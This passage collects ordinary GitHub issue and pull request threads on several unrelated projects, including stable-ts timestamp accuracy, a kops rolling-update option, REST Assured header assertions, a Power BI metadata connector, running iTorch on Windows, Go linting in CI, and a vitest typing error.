72                 f"to satisfy the constraint {repr(constraint)}, "
73                 f"but found invalid values:\n{value}"
74             )
75 super().init()
ValueError: Expected parameter logits (Tensor of shape (1, 51866)) of distribution Categorical(logits: torch.Size([1, 51866])) to satisfy the constraint IndependentConstraint(Real(), 1), but found invalid values:
tensor([[nan, nan, nan,  ..., nan, nan, nan]], device='cuda:0')

A quick fix would be model.transcribe(..., temperature=0) but this may affect the quality of the outputs.
Are you able to share the audio is cause this issue?

Thanks for the quick reply, the following is the link to the audio, its around 220 MB.
Audio
Sorry it has only 12 hour's expiration, if it expires, please let me know.

Should be fixed after 852b39cd2d41cd7e8946ceeb0716821a77ef4333.

Thanks a lot for the quick reply. It works after test.
By the way, for the audio I provided, I found that
1. The timestamps of a segment seem to be a bit earlier by around 300~400 ms;
For instance, the timestamps obtained using stable-ts is
00:04:24,370 --> 00:04:26,220
Let me think about it a little bit
And a slightly better timestamp obtained using a commercial service is:
00:04:24,769 --> 00:04:26,510
Let me think about it a little bit.
2. Some sentences appear two early or last too long. For instance,
00:05:36,520 --> 00:05:46,016
I miss Matthew
This sentence lasted for 10 s, however, in the audio, it only last for around 1 s.
The command I use is
result = model.transcribe(
sample_path,
suppress_silence=True,
vad=True,
vad_threshold=0.35
)
Do you have any suggestions on overcoming the above issues? Thanks!

Which model are you using?
Try to increase vad_threshold.
model.refine(result) might also help.

Thanks for the response. I tried to increase vad_threshold to 0.5 or model.refine(result), still the issues exist. First, I doubt whether it is related to the audio, so changed to a different audio like the following one
https://www.youtube.com/watch?v=0O2Rq4HJBxw
It is not movie but an open course, which does not contain too much background music. I generated the srt file using whisper's original transcribe, pipeline, and faster-whisper. Then for stable-ts, I tried using original_whisper, faster-whisper. After comparison, still found that the timestamps are slightly earlier around 300~400 ms compared to whisper's original or pipelined or faster-whisper. Does this have anything to do with silence handling part?

Does this have anything to do with silence handling part?

With the exception of result.adjust_gaps(), all the changes made to the timestamps will only make start start later and end end earlier. So the default silence handling should not cause timestamps to be slightly earlier than the default Whisper outputs.
What I suspect to be happening is the regrouping exposes the early timestamps that would normally be hidden once converted to segment-level SRT.
For example:
0.0 -> 2.0 : " This is a test."
This segment has nearly perfect timing. But regrouped into:
0.0 -> 0.7 : " This is"
0.7 -> 2.0 : " a test."
Now second segment, " a test.", starts earlier than it should because words of the same segment use the end of the previous word as the start (Stable-ts tries to eliminate this by adding the gaps from the silence detection in-between the words).
Since Whisper or Faster-Whisper outputs on their own are not regrouped, these imperfect timestamps would not be exposed.
I'd suggest disabling regrouping, model.transcribe(regroup=False).
Or try the latest commit.

Thanks, after some tries, I found that when I added word_timestamps=True, the segment timestamp are a little bit shorter than  word_timestamps=False, i.e., started later and ended earlier around ~100 ms. This is true for the original whisper, faster-whisper as well. The more accurate word-level timestamps shortened the segment timestamps after time-alignment. It may be more accurate from the audio signal's perspective, but not very friendly to humans when we use it for subtitles. So I decided to add several hundred ms to the segment timestamps manually as a workaround. Thank you very much for all the helps again. This issue can be closed.


Allow disabling rolling-updates when applying

We intentionally don't run kops rolling-update cluster every time / in an automated way when we update our cluster, since we also run databases (Kafka...) in our Kubernetes cluster, and trying to rotate the cluster without paying attention to the database internals would result in data loss.
I propose adding a apply_rolling_update_cluster : true / false variable (even if it's true by default) which would simply skip applying the rolling-update phase at the end.

Hey @ari-becker !
Thanks for raising the issue, i had the same discussion with my team mates yesterday.
It could be added easily but i feel like it's opening doors to uncontrolled drift. I mean using terraform is to make sure the infrastructure does not diverge from the source of truth and this would allow such a divergence by design.
I would be happy to discuss this more though and i'm not against adding it as long as it's an opt-in user choice.

@eddycharly Right, I would completely understand having apply_rolling_update_cluster default to true, as described. Teams that don't need the drift shouldn't needlessly suffer from it :)
Because of these requirements though, we ended up building our own rolling-update mechanism that relies on Prometheus metrics to know when it's safe to continue the rollout. It's a little heavy-handed, but it's the price we pay to run 100% Kubernetes. It's also one of the reasons why we run Kops and not one of the managed Kubernetes providers (e.g. EKS), because they would try to just treat the database-hosting nodes like any other worker nodes and accidentally cause data loss on our end. I do think that having this kind of flexibility is one of the reasons why people pick Kops instead of a managed provider.

@ari-becker I see your point, i'm going to add support for optional rolling update and validation.

I opened a PR.
It will look like
rolling_update_options {
  skip = true
}

Same thing for validating the cluster.

Fantastic, thank you!

I moved the options in the provider config rather than in the cluster resource itself.


Response Spec API should allow to assert how many times a header appears in the response payload

Recently I found a bug in a system. And I wanted to craft a test to prove the fix.
The system was sending twice the Access-Control-Allow-Origin header.
200 OK
Access-Control-Allow-Origin: https://host
Access-Control-Allow-Origin: https://host
Transfer-Encoding: chunked
Server: Jetty(6.1.26)

Yay

Unfortunately it is not possible to assert this using the RTest Assured API. For example this code actually merge the values of the header, which makes the faulty behaviour pass.
with().header("Origin", "https://host")
                                                .get("/foo/bar/qiz")
      .then().assertThat()
      .header("Access-Control-Allow-Origin", "https://host");

Under the hood it seems the header matcher accesses a map which feels incorrect in this case, I don't know why values are merged, at least the matcher could use a multi-value map.
To make sure the test asserted the right thing and captured the bad behaviour I had to actually extract the Response and use the fantastic AssertJ library.
Response response = with().header("Origin", "https://host")
                          .get("/foo/bar/qiz");
assertThat(response.headers()
                   .getValues("Access-Control-Allow-Origin"))
    .containsOnlyOnce("https://host");

Somewhat similar to https://github.com/rest-assured/rest-assured/issues/911

This is configurable, please see docs here. Does that work for you?

Nope it's not what I'm looking for, for two reasons

It is for request headers only
There's no assertions with that approach.

Oh sorry, I read this too fast. Unfortunately there's no nice way to do this if I remember things correctly. The workaround is to do exactly what you showed (using assertj or something similar).
But I just got an idea. Are you familiar with this approach:
get("/x").then().body("href", response -> equalTo("http://localhost:8080/" + response.path("userId"));

Here you can get a hold of the Response object inside your validations. But it only works for body. We could add something like:
get("/x").then().header((Headers headers) -> Matchers.contains(headers.getValues("Access-Control-Allow-Origin"), .. ));

This would probably be useful for cookies as well.

Hi, indeed that could work.


Power BI Datamart Connect

Is your feature request related to a problem? Please describe.
https://openmetadata.slack.com/team/U04FS3RM88G
Describe the solution you'd like
We would like to be able to connect to our datasets and datamarts in Power BI
Describe alternatives you've considered
develop something through the Api's
Additional context

related to https://github.com/open-metadata/OpenMetadata/issues/5711

From support:
 In Power BI a Dashboard is a set of visual elements that are assembled from Reports. Reports are packaged into .PBIX files. Some people build their Dataset - data model (Tabular Object Model) - in the report .PBIX file, best practice is to create a separate report .PBIX file and data model .PBIX file. Reports in Power BI can be used to create dashboards with interactive visual elements similar to a Dashboard in Tableau. Most people would be building Reports, not Dashboards.
Other entities of interest are Dataflows which are cloud-based ETL pipelines, Datamarts, Paginated Reports (which are like Sequel Server Reporting Services [SSRS]), and Workspaces.
Workspace --> Workspace
Dashboard --> Report
Report --> Dataset
Dataset --> Dataset (i.e. composite models)
Dataset --> Dataflow
Dataflow --> Dataflow (chaining a sequence of transformations)
Dataset --> 10+ data sources
Dataflow --> 10+ data sources
These are the types of relationships I have seen after building data lineage from Power BI REST-APIs called the Scanner APIs.

Is there some think I can maybe do to enable this? We use the API for Dataset and Report Lineage, I don't know if you can see the lineage of a Power BI dataset for example.

Hi @Daandamhuis I am not sure I followed your comment. Could you please give some more details on what you are currently using and what you'd like to see in OM? Thanks

I was the person who posted the note in #support about the Power BI metadata spec. How can we help develop a connector that supports all the entities described in the support note? I'd like to have the ability for an ingestion connector that can work with JSON or CSV metadata. This is because the Power BI connector that is available requires Service Principal access, and most companies will not provide Service Principal access to anyone who is not a Power BI Admin. However, Power BI does allow us to use the Scanner API via Powershell cmdlets using our own credentials. In this case the user will only be able to extract metadata about workspaces and related entities that they own. It is easy to save such output as CSV or JSON and construct a JSON schema. If we have a connector that can take in a JSON file that way many more people will be able to ingest Power BI metadata into Open Metadata even if they are not Power BI admins.

Thanks for the details @Daandamhuis. @nahuelverdugo this might be something we could use for the PBI Models.
@Daandamhuis to give some details, we're working on adding more details on the models created in dashboard services, and how they relate to source databases and the dashboards they create.
@salilcbi, we'll be exploring how to extract PBI metadata without admin access cc @OnkarVO7
As per your example on how to extract custom PBI metadata in a csv/json and then push it to OM, creating a Custom Connector might be the easiest way to go for this https://www.youtube.com/watch?v=fDUj30Ub9VE&t=5s&ab_channel=OpenMetadata

@pmbrull I've managed to extract the info from a Power BI dataset and push it OMD via the Python SDK and a Custom connector.
I waiting on the Data Model entity to implement it further  because currently it's a Database Entity.
FYI, with PyTabular you can extract data without admin access, but then you can't run it unattended. We use Service Principals.

@Daandamhuis  - would you be able to share any details about your custom connector to help others jumpstart their connectors and so perhaps we could collaborate to create a single connector. I'm just getting started and using OMD via Docker for local development. If you could share details about where you chose to upload the data files from the tenant scanner api output, any transformations you had to do and any gotchas it would be very much appreciated. Code fragments would be outstanding as well.

Hi,
Sorry for the delay, but here is the gist. What it does;

Connect to OMD
Connect to the Power BI Workspace and the Dataset via Azure Service Principals.
Extract Meta Data from the Model
Create Lineage to (in our case) the datamart in the datawarehouse.

https://gist.github.com/Daandamhuis/0f437db170f57d0396ca042a186888aa

Closing this as duplicate of https://github.com/open-metadata/OpenMetadata/issues/10689. Thanks


If play game use Full screen ,playing game crash ,THX software can play lots of old game!!

log file error:
14:06:41.329 Installing DirectDraw hooks
14:06:41.336 Installing Direct3D hooks
14:06:41.339 Installing GDI hooks
14:06:41.350 Finished installing hooks
14:06:41.662 Using Direct3D device type: IID_IDirect3DHALDevice
14:06:42.278 ERROR: Failed to create repository surface: 0x80070057 {0x1007,0,0,0,0,0,0,0,null,{0x40,0x0,16,0xf800,0x7e0,0x1f,0x0},{0x5000,0x0,0x0,0x0},0}
14:09:50.501 ERROR: Failed to create the compat primary surface: 0x88760091

Could you specify which game you're talking about? It's hard to tell anything from just those logs, I need to be able to reproduce the issue.


anyway to run iTorch on windows?

as the title says. I have installed torch (https://github.com/torch/distro) with VC. luacrypto and lzmq
Thanks

now it seems that the answer lies in this file
#!/usr/bin/env bash
currdir=`dirname $0`
currdir=$(cd "$currdir" && pwd)

# Support qtlua, if it is available
LUA=$currdir/luajit
if test ! -x "$LUA"; then
    LUA=$currdir/lua
fi

# Pipe for stdout
IO_STDO=$(mktemp -t itorch.stdout.XXXXXXXXXX)
rm $IO_STDO
if [ $(uname) == "Darwin" ]; then
    mkfifo $IO_STDO
else
    touch $IO_STDO
fi

# Process 1 writes the port number to communicate to this file
# Process 2 reades from this file and binds to that port
IO_PORTNUM=$(mktemp -t itorch.PORTNUM.XXXXXXXXXX)
"$LUA" -e "arg={'$1','$IO_PORTNUM'};require 'itorch.main'" 2>&1 >$IO_STDO &
"$LUA" -e "arg={'$1','$IO_STDO','$IO_PORTNUM'};require 'itorch.IOHandler'"

# temporary files $IO_STDO and $IO_PORTNUM are cleaned up on shutdown of itorch.IOHandler

I translate it to the following but which is not right
rem add mktemp.exe
set path=%path%;E:\msys644\usr\bin

set currdir=%cd%

rem Support qtlua, if it is available
set LUA=%currdir%\luajit.exe
REM ~ if test ! -x "$LUA"; then
    REM ~ LUA=$currdir/lua
REM ~ fi

REM ~ # Pipe for stdout
REM ~ IO_STDO=$(mktemp -t itorch.stdout.XXXXXXXXXX)
REM ~ rm $IO_STDO
REM ~ if [ $(uname) == "Darwin" ]; then
    REM ~ mkfifo $IO_STDO
REM ~ else
    REM ~ touch $IO_STDO
REM ~ fi

set IO_STDO=abcdefghij

REM ~ # Process 1 writes the port number to communicate to this file
REM ~ # Process 2 reades from this file and binds to that port
REM ~ IO_PORTNUM=$(mktemp -t itorch.PORTNUM.XXXXXXXXXX)
set IO_PORTNUM=bcdefghijk

%LUA% -e "arg={'%cd1%','%IO_PORTNUM%'};require 'itorch.main'" 2>&1 >%IO_STDO% &
%LUA% -e "arg={'%cd1%','%IO_STDO%','%IO_PORTNUM%'};require 'itorch.IOHandler'"

REM ~ # temporary files $IO_STDO and $IO_PORTNUM are cleaned up on shutdown of itorch.IOHandler

Hi, I am also trying to run iTorch on Windows. Before this, I could not build via the rockspec and did the steps manually instead. Finally I am also at this point and frustrated.
Obviously file is for bash, I see that you tried to convert it and thanks for the effort. Additionally the mktemp command should create a temporary file and for the rest I am also lost.
It would be nice if one of the 24 contributors join to the conversation :)
It should not require much more effort after this step.


Support proxy contract in turing credit contract

Allow the proxy contract to set the owner

Codecov Report

Merging #455 (ba2202e) into develop (eb6f815) will decrease coverage by 0.19%.
The diff coverage is 0.00%.

:exclamation: Current head ba2202e differs from pull request most recent head 9f0d5be. Consider uploading reports for the commit 9f0d5be to get more accurate results

@@             Coverage Diff             @@
##           develop     #455      +/-   ##
===========================================
- Coverage    72.41%   72.21%   -0.20%
===========================================
  Files           59       59
  Lines         1820     1825       +5
  Branches       279      280       +1
===========================================
  Hits          1318     1318
- Misses         502      507       +5

Flag
Coverage Δ

contracts
86.79% <0.00%> (-0.39%)
:arrow_down:

core-utils
53.79% <ø> (ø)

data-transport-layer
29.47% <ø> (ø)

message-relayer
83.17% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

...racts/contracts/L2/predeploys/BobaTuringCredit.sol
0.00% <0.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update eb6f815...9f0d5be. Read the comment docs.


Adding custom GUI for emotion labels

Hi Serengil, Ive loved your tutorials and have been very helpfull to me in my learning, I was woundering if you could share an exmple of how you added the custom label background in grey that shows all the emotion detection states with percentanges on the zuckerberg example image, In the demo code you just get the emotion writen above the bounding box. This would really help me out as cant find any info on custom GUI outputs with opencv and AI platforms. Cheers J

Hello, Thank you for your feedback. I realize that mood analysis code for stream is duplicated. You can find the code you need is here. Basicallyi the following code block handles the transparent grey area. I also update the read-me file with this link. Do not hesitate to contact if you have any trouble.


Allow users to export IDL

It would be convenient to have a download IDL button for the people who want to use the IDL in their frontend or do local testing.

There seems to be a small issue where the exported IDL is just a default IDL and not the one that was deployed


Bump hashicorp consul

…SA-m69r-9g56-7mv8.

Motivation

More

[ ] Added/updated tests
[ ] Added/updated documentation

Additional Notes

Hello,
we are not affected by those CVEs because they affect pieces of code that we don't use.
The Consul CVE is about the Consul server but we are only using the client.
Also, the problem related to updating a dependency because of a false positive is the impact of transitive dependencies. For example, an update of Consul can produce an update of gRPC, but gRPC is known to break things between patch/minor versions.
Any update has side effects.
So I will decline your PR.


Additional sign up variables

Is there an easy way to register users with additional variables?
I'm thinking of address information or opt-in for newsletters etc.
Or would you recommend to keep them in a separate database table with the user ID to match them?

I'm not the dev, but I've done what you're asking about in my own code using php-auth so I thought I'd chime in!
There's some good documentation here on doing this, which was all I needed to add my custom user info:
https://github.com/delight-im/PHP-Auth/#additional-user-information
And yes, the recommendation given by the developer is to use your own, separate tables.

I'm not the dev, but I've done what you're asking about in my own code using php-auth so I thought I'd chime in!
There's some good documentation here on doing this, which was all I needed to add my custom user info:
https://github.com/delight-im/PHP-Auth/#additional-user-information
And yes, the recommendation given by the developer is to use your own, separate tables.

Thanks! Must have missed that section in the docs, I was looking for it in the registration section, not the accessing user information section.
So filling up a separate table after registration it is then, thanks!

@acodispo Thank you very much for your help!
@binoculars88 Good point! The relevant section is now referenced from the “Registration” section in the docs, as per https://github.com/delight-im/PHP-Auth/commit/54f6c5320a7103559937b09ff436a410c756171a.


Update image ghcr.io/gethomepage/homepage to v0.8.7

This PR contains the following updates:

Package
Update
Change

ghcr.io/gethomepage/homepage
patch
v0.8.6 -> v0.8.7

Release Notes

gethomepage/homepage (ghcr.io/gethomepage/homepage)
v0.8.7
Compare Source
What's Changed

Feature: Added gatus uptime widget by @Nedra1998 in https://github.com/gethomepage/homepage/pull/2729
Fix: iCal integration use event data hash instead of unstable uid by @shamoon in https://github.com/gethomepage/homepage/pull/2758
Enhancement: extend hdhomerun widget by @JeffRandall and @shamoon in https://github.com/gethomepage/homepage/pull/2757

New Contributors

@Nedra1998 made their first contribution in https://github.com/gethomepage/homepage/pull/2729
@JeffRandall made their first contribution in https://github.com/gethomepage/homepage/pull/2757

Full Changelog: https://github.com/gethomepage/homepage/compare/v0.8.6...v0.8.7

Configuration
📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.

[ ] If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

Edited/Blocked Notification
Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.
You can manually request rebase by checking the rebase/retry box above.
⚠ Warning: custom changes will be lost.


Check if mounted before continuing loop

If you unmount the animated SVG the logs flood with with warnings as the loop continues.

Thanks for merging - could you publish?

Still not published - make sure you git pull first.

@kirkness I've just published 0.1.6 with your commits. Thank you for helping me :).


Hello-  Models not included

Hi ;
I 'm using jetson nano and jetson jetpack R32.7.3 but ı don't understand why , source installation not working.

I'm doing cmake ../ but I don't get the required output to download the models why, I checked everything necessary.
just " Do you want to install pytorch only? "

Hi @ahmet-f-gumustas, the Model Downloader tool is no longer necessary to use, because the models will now automatically be downloaded on-demand when you load them with imagenet/detectnet/segnet/ect.   All of the info used to download them is now stored in jetson-inference/data/networks/models.json
If you just run imagenet/detectnet/segnet/ect does it download the model(s) okay for you?

Thank you so much i will check and return ..

I watched the videos below and am trying to learn to understand the application. but I couldn't load the models like here. actually i'm installing as source so i don't use docker

https://www.youtube.com/watch?v=5rbOsKCZ-VU
https://www.youtube.com/watch?v=mB025B7KpeE

I mean, when I do the steps in the videos, I don't get the same output even when I first import it. strange situation  :)

@ahmet-f-gumustas what is the code you are trying to run?
Can you try running imagenet.py/detetnet.py like from https://github.com/dusty-nv/jetson-inference#inference and see if those work first?

@dusty-nv  I'am sory dusty :)
Sorry for taking your time. It worked after a while. thanks for your help .


Review request for Scroll Anchoring

Spec: https://cdn.rawgit.com/WICG/interventions/master/scroll-anchoring/spec.html
Abstract:
Changes in DOM elements above the visible region of a scroller can result in the page moving while the user is in the middle of consuming the content.
This spec proposes a mechanism to mitigate this jarring user experience by keeping track of the position of an anchor node and adjusting the scroll offset accordingly.
This spec also proposes an API for web developers to opt-out of this behavior.

Context: we've reached a point where we are confident in our design and have run out of known web compatibility issues. The next logical step would be to try shipping this, listen for feedback and iterate if needed. We would like to request a TAG review for the spec. The current timeframe we are aiming for is: Chrome 56 (branch cut: Nov 17th, 2016).
Thanks in advance.

2.1, step 2, third bullet:

If N is fully clipped in S, skip over E and its descendents.

There is no definition of E

Also, see explainer: https://github.com/skobes/ScrollAnchoring/blob/master/explainer.md

Thanks @triblondon, I have fixed the typo in 2.1 and added a link to the explainer.
The suppression triggers are mainly to handle pages that implement various forms of "sticky headers".  In the simplest case, script simply toggles position:fixed on a header element below a scroll offset, causing the content to shift by pulling it out of flow.  We've also seen animation on document body padding at the transition.  See e.g. http://crbug.com/601906 and http://crbug.com/641814.
I think the reuse of overflow-anchor makes sense because scroll anchoring and sticky scrollbars are two alternative strategies for connecting scroll position to layout.  It wouldn't make sense to want both at the same time.
The infinite-scroller content loop is an interesting idea, we haven't encountered scenarios like this in practice.  Typically a scroll-triggered content load inserts at the bottom and not the top.

/cc @tabatkins @fantasai to provide feedback on the overflow-anchor name, perhaps either here or in https://github.com/w3c/csswg-drafts/issues/676

Picked up at TAG F2F in Boston.  I'm still concerned about the potential for inconsistency from a developer perspective.  A common pattern is to animate open a zero-height element containing an ad when the viewport encounters the placeholder.  If that element is in the ancestry of the anchor node (eg if it is the document body) then scroll anchoring is suppressed, whereas if it is not, scroll anchoring is activated.  It's not a huge problem, but it may confuse people initially.
Otherwise LGTM, and I'm (still) excited about having this feature :-)

For reference, current spec and explainer are at: https://github.com/WICG/ScrollAnchoring


Positioned elements causes issues

Nice little library you have here. I have no idea if you're still maintaining it, but relative/absolute/fixed positioned elements cause mouse events to have the wrong coordinates. See here for an example.
I think it might be related to how you use pageX and pageY with offsetLeft and offsetTop in the mouse events.

I'll try to fix it in the next few days, thanks for the report!
Also thank you for using it and the compliments!

@federico-moretti love this simple library. do you have any plans to push this fix out to npm anytime soon? if not i can just pull the repo directly. thanks!

Fixed in v2.1.0

@federico-moretti  thanks! :)


Feature/course offering list exp

Critical Changes
Changes
Issues Closed
Fixes #443

Hi @lianeyee,
Could you review the release note, please? :)

@davidjray
Could you review this pull request please, thanks!

@xinnanlisf can you list steps to test for myself and QA?

Testing note: One contact as the primary contact for two different course offerings would cause the error.

I am getting a null pointer exception consistently, and I think it is related to this work after looking at the code.
Steps to reproduce:

Create two Course Offerings with the same faculty member.
Edit one of the Course Offerings and change the primary faculty to a new primary faculty member.
Switch to the second Course Offering and change the primary faculty to same new primary faculty member from step 2.

This is the error I see:


Relax the constraint of dependent version of multi_json

Okay, let me fix CI here, too.

Probably need to rebase here after I merge this: https://github.com/datamapper/dm-serializer/pull/47

Hitting some failures with xml libraries on 2.2 in #47. I'll keep working on it tomorrow.


Add github golang lint CI pipeline

Checklist

[x] make test-all (UNIX) passes. CI will also test this
[ ] unit and/or integration tests are included (if applicable)
[ ] documentation is changed or added (if applicable)

Description of change

Related to:

#786
#649

It is only a start for using gh pipelines. Add a linting pipeline for go with github actions.
Linting is currently broken in Travis CI:
INFO: Starting build lint
golint . ./cmd/... ./matchers/... ./outputs/... ./resource/... ./system/... ./util/... || true
/bin/sh: golint: command not found

Do not lint for latest-windows. There is a failure if nothing was changed:
only new issues on pull_request: C:\Users\RUNNER~1\AppData\Local\Temp\tmp-6348-vzusUQlR5XIf\pull.patch
  Running [D:\a\_temp\b2f1ab8f-0666-4c9f-8876-3984c905d141\golangci-lint-1.58.0-windows-amd64\golangci-lint run --out-format=github-actions --new-from-patch=C:\Users\RUNNER~1\AppData\Local\Temp\tmp-6348-vzusUQlR5XIf\pull.patch --new=false --new-from-rev=] in [D:\a\goss\goss] ...
  level=error msg="Running error: context loading failed: no go files to analyze: running `go mod tidy` may solve the problem"
  level=error msg="Timeout exceeded: try increasing it by passing --timeout option"

Only lint code changes (only-new-issues: true) and not all code.
Reason is that there are some failures at the code:
Running [/Users/runner/golangci-lint-1.58.0-darwin-arm64/golangci-lint run --out-format=github-actions] in [/Users/runner/work/goss/goss] ...
  Error: error	util/config.go:99:15:	Error return value is not checked (errcheck)
  Error: error	system/service_init.go:75:9:	Error return value of `cmd.Run` is not checked (errcheck)
  Error: error	system/service_systemd.go:38:9:	Error return value of `cmd.Run` is not checked (errcheck)
  Error: error	system/service_systemd.go:57:9:	Error return value of `cmd.Run` is not checked (errcheck)
  Error: error	outputs/json.go:102:16:	Error return value of `json.Unmarshal` is not checked (errcheck)
  Error: error	outputs/junit.go:99:16:	Error return value of `xml.EscapeText` is not checked (errcheck)
  Error: error	serve.go:94:19:	Error return value of `resp.body.WriteTo` is not checked (errcheck)
  Error: error	cmd/goss/goss.go:52:21:	Error return value is not checked (errcheck)
  Error: error	cmd/goss/goss.go:56:19:	Error return value is not checked (errcheck)
  Error: error	system/file.go:48:2:	field `fi` is unused (unused)
  Error: error	system/kernel_param.go:18:2:	field `value` is unused (unused)
  Error: error	matchers/have_patterns.go:149:6:	func `appendMissingStrings` is unused (unused)
  Error: error	resource/resource.go:69:6:	func `validAttrs` is unused (unused)
  Error: error	resource/validate.go:45:2:	const `maxScanTokenSize` is unused (unused)
  Error: error	cmd/goss/goss.go:428:7:	const `msgFormat` is unused (unused)
  Error: error	serve.go:88:2:	S1035: calling net/http.CanonicalHeaderKey on the 'key' argument of (net/http.Header).Set is redundant (gosimple)
  Error: error	serve_test.go:300:2:	S1031: unnecessary nil check around range (gosimple)
  Error: error	resource/resource_list.go:42:30:	S1002: should omit comparison to bool constant, can be simplified to `!e` (gosimple)
  Error: error	resource/resource_list.go:143:30:	S1002: should omit comparison to bool constant, can be simplified to `!e` (gosimple)
  Error: error	resource/resource_list.go:[24](https://github.com/dklimpel/goss/pull/2/checks#step:4:26)4:30:	S1002: should omit comparison to bool constant, can be simplified to `!e` (gosimple)
  Error: error	util/config.go:274:10:	S1005: unnecessary assignment to the blank identifier (gosimple)
  Error: error	system/file.go:170:30:	S1010: should omit second index in slice, s[a:len(s)] is identical to s[a:] (gosimple)
  Error: error	outputs/json.go:[27](https://github.com/dklimpel/goss/pull/2/checks#step:4:29):2:	S1021: should merge variable declaration with assignment on next line (gosimple)
  Error: error	outputs/junit.go:37:2:	S1021: should merge variable declaration with assignment on next line (gosimple)
  Error: error	outputs/nagios.go:34:2:	S1021: should merge variable declaration with assignment on next line (gosimple)
  Error: error	system/service.go:14:2:	S1008: should use 'return strings.ContainsRune(s, '/')' instead of 'if strings.ContainsRune(s, '/') { return true }; return false' (gosimple)
  Error: error	outputs/rspecish.go:46:5:	SA1006: printf-style function with dynamic format string and no further arguments should use print-style function instead (staticcheck)
  Error: error	outputs/rspecish.go:49:5:	SA1006: printf-style function with dynamic format string and no further arguments should use print-style function instead (staticcheck)
  Error: error	outputs/rspecish.go:54:5:	SA1006: printf-style function with dynamic format string and no further arguments should use print-style function instead (staticcheck)
  Error: error	system/file.go:40:2:	SA9004: only the first constant in this group has an explicit type (staticcheck)
  Error: error	resource/addr.go:54:49:	SA10[29](https://github.com/dklimpel/goss/pull/2/checks#step:4:31): should not use built-in type string as key for value; define your own type to avoid collisions (staticcheck)
  Error: error	resource/command.go:52:49:	SA1029: should not use built-in type string as key for value; define your own type to avoid collisions (staticcheck)
  Error: error	resource/dns.go:55:49:	SA1029: should not use built-in type string as key for value; define your own type to avoid collisions (staticcheck)
  Error: error	util/config.go:298:6:	SA6005: should use strings.EqualFold instead (staticcheck)
  Error: error	serve_test.go:69:55:	SA1019: rr.HeaderMap has been deprecated since Go 1.11 and an alternative has been available since Go 1.7: HeaderMap exists for historical compatibility and should not be used. To access the headers returned by a handler, use the Response.Header map as returned by the Result method.  (staticcheck)
  Error: error	serve_test.go:176:55:	SA1019: rr.HeaderMap has been deprecated since Go 1.11 and an alternative has been available since Go 1.7: HeaderMap exists for historical compatibility and should not be used. To access the headers returned by a handler, use the Response.Header map as returned by the Result method.  (staticcheck)
  Error: error	matchers/type_conversion.go:7:2:	SA1019: "io/ioutil" has been deprecated since Go 1.19: As of Go 1.16, the same functionality is now provided by package [io] or package [os], and those implementations should be preferred in new code. See the specific function documentation for details.  (staticcheck)

@dklimpel I see lots of amazing PRs from you. It's greatly appreciated and is a considerable amount of work.
If you don't mind, can you open an issue and in there cover the order of PRs and the order they should be reviewed/merged in.

If you don't mind, can you open an issue and in there cover the order of PRs and the order they should be reviewed/merged in.

I have opend #911

Wow, the macOS build is extremely slow?
Also. I would think for linting Linux (or really any single OS) would be sufficient. I wouldn't think golangci-lint would give different results depending on OS.

Ah, yeah the output was confusing me. Either way, I think we can lint on just Linux and save GH some compute time :smile:
Thanks for the quick response.

Same result on linux only :/

Awesome, thank you. Appreciate the permission lockdown =)


The output of defineProject can't be used as an argument in mergeConfig

Describe the bug
Reproducing the configuration provided in the docs, TS surfaces a type error:
import { defineProject, mergeConfig } from 'vitest/config'
import configShared from '../vitest.shared.js'

export default mergeConfig(
  configShared,
  defineProject({  << Argument of type 'UserProjectConfigExport' is not assignable to parameter of type 'UserWorkspaceConfig | Promise<UserWorkspaceConfig>'.
    test: {
      environment: 'jsdom',
    }
  })
)

Reproduction
Reproduction with relevant TS error:
https://stackblitz.com/edit/vitest-dev-vitest-bfmggz?file=packages%2Fexample%2Fvitest.config.ts
System Info
System:
    OS: macOS 14.0
    CPU: (8) arm64 Apple M2
    Memory: 496.63 MB / 24.00 GB
    Shell: 3.6.1 - /run/current-system/sw/bin/fish
  Binaries:
    Node: 20.7.0 - ~/Library/Caches/fnm_multishells/13490_1696999864522/bin/node
    npm: 10.1.0 - /opt/homebrew/bin/npm
    pnpm: 8.8.0 - ~/Library/pnpm/pnpm
    Watchman: 2<IP_ADDRESS> - /Users/matchai/.nix-profile/bin/watchman
  Browsers:
    Brave Browser: <IP_ADDRESS>
    Chrome: 118.0.5993.70
    Safari: 17.0
  npmPackages:
    @vitest/coverage-v8: ^0.34.6 => 0.34.6
    vitest: 1.0.0-beta.2 => 1.0.0-beta.2

Used Package Manager
pnpm
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
[X] The provided reproduction is a minimal reproducible example of the bug.

I have same TS error

I also have the same error

using defineConfig solves the issue, like so
import { **defineConfig**, mergeConfig } from 'vitest/config'
import configShared from '../vitest.shared.js'

export default mergeConfig(
  configShared,
  **defineConfig**({
    test: {
      environment: 'jsdom',
    }
  })
)


Change name of directory

As was said in the issue #71 a directory name should not contain spaces so it was
renamed from 'img & gif' to 'images'

Ah, sorry, can't believe I forgot about those links. I fixed them also.


Add keyword helper

When typing, display some info on what the user is currently doing. (Example: which plugin filter is it searching, etc.)

Completed.
A helper property can be specified in each plugin module that follows the item schema.


Explicitly allow "CC0-1.0" license in deny.toml

This is an explicit public domain license:
https://creativecommons.org/publicdomain/zero/1.0/
This is needed by a transitive dependency I'm adding.

Ran into the same thing in OSS for https://github.com/svix/svix-webhooks/pull/1007.
It's been added there and should move through with the next OSS merge, but the merge looks like it might take a minute (due to several conflicting modules).

This was already added in https://github.com/svix/svix-webhooks/pull/1007


Change IPython kernel to Jupyter kernel

For #14309

Codecov Report

:exclamation: No coverage uploaded for pull request base (main@0f0dec9). Click here to learn what that means.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##             main   #14375   +/-   ##
=======================================
  Coverage        ?   59.42%
=======================================
  Files           ?      716
  Lines           ?    39955
  Branches        ?     5789
=======================================
  Hits            ?    23742
  Misses          ?    14953
